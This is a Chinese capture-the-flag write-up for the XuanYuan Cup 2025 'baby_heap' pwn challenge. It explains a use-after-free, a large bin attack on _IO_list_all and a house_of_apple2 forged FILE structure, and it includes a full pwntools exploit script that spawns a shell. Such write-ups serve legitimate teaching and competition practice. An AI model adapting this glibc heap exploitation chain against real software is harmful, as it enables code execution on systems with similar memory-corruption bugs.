轩辕杯2025 Pwn baby_heap WP(house_of_apple2)

checksec:

保护全开 64位

IDA64打开 整理函数

add:

最多能申请17个chunk,只能申请0x410以上大小的chunk,也就是只能申请large bin对应的chunk

edit:

正常的编辑

delete:

存在UAF漏洞,且只能free两次

show:

正常展示出内容

发现只能申请large chunk,,存在UAF漏洞,所以先利用Large bin泄露libc基址:

python 复制代码
add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)
add(4, 0x500)
show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21b0e0
print(hex(libc_base))

因为有UAF 泄露基址相对容易

接下来利用Large bin attack把IO_list_all地址改为堆地址

python 复制代码
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

把chunk1的bk_nextsize编辑为_IO_list_all-0x20,其他不变

chunk3比chunk1要小,插入时不会检查bk_nextsize 从而能够覆盖目标地址

可以看到,_IO_list_all的位置成功指向的chunk3的地址

再下一步,就是泄露堆地址并利用house of apple2打

python 复制代码
show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

设置的FILE结构体检查要求:

_IO_write_ptr > _IO_write_base 1 > 0

_IO_buf_base置为0

fileno为有效数字,这里设置为2:标准错误流(只要是有效的fileno就可以)

_old_offset&_offset=-1:表示无有效偏移量

_IO_wide_data:指向Fake_Fake_IO_wide_data的地址(伪造的),这里需要用调试得出

fake vtable:指向_IO_wfile_jumps_addr 虚函数表 house of apple的控制程序流套路

Fake_Fake_IO_wide_data:伪造的_IO_wide_data,在偏移0xe0位写入Fake_wide_vtable所在地址

Fake_wide_vtable:伪造的_IO_jump_t ,其中偏移为0x68的位置为__doallocate 将其改写为system函数

再把Fake_wide_vtable对应的堆填满直到相邻堆的size位,将其修改为' sh'(对应fake_file的flag位),这也是为什么chunk2要设置成0x458,是为了将下一个chunk的size位修改了

最后再调用exit()就能get shell

总exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def add(index, size):
    p.sendlineafter(b"choice:\n", b'1')
    p.sendlineafter(b'index:\n', str(index))
    p.sendlineafter(b'size:\n' , str(size))

def delete(index):
    p.sendlineafter(b'choice:\n' , b'2')
    p.sendlineafter(b'index:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice:\n' , b'3')
    p.sendlineafter(b'index:\n' , str(index))
    p.sendlineafter(b'content:\n' , message)

def show(index):
    p.sendlineafter(b'choice:\n' , b'4')
    p.sendlineafter(b'index:\n' , str(index))

gdb.attach(p)

add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)

show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
print(hex(libc_base))
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

p.sendlineafter(b"choice:\n", str(5)) #exit(0)
p.interactive()
相关推荐
内心如初2 小时前
04_等保系列之云等保
网络安全·等保测评·等保测评从0-1·等保测评笔记
蝎蟹居2 小时前
GBT 4706.1-2024逐句解读系列(29) 第7.9~7.10条款:开关,档位应明确标识
人工智能·单片机·嵌入式硬件·物联网·安全
北辰当尹3 小时前
第27天 安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
android·安全·php
小小代码狗4 小时前
PHP伪协议和文件包含
网络·网络安全·php
聚铭网络4 小时前
聚铭网络再次入选数世咨询《中国数字安全价值图谱》“日志审计”推荐厂商
网络·安全
工业HMI实战笔记4 小时前
HMI权限分级设计:兼顾安全与操作效率的平衡术
运维·数据库·安全·ui·自动化·人机交互·交互
吃不得辣条4 小时前
渗透学习小结
学习·网络安全
恃宠而骄的佩奇4 小时前
APP客户端安全评估思路及工具分享
测试工具·安全·网络安全·app客户端安全评估
蝎蟹居5 小时前
GBT 4706.1-2024逐句解读系列(28) 第7.8条款:X,Y型连接正确标示接地符号
人工智能·单片机·嵌入式硬件·物联网·安全
毕设源码-邱学长5 小时前
【开题答辩全过程】以地铁安全管理信息系统设计与实现为例,包含答辩的问题和答案
安全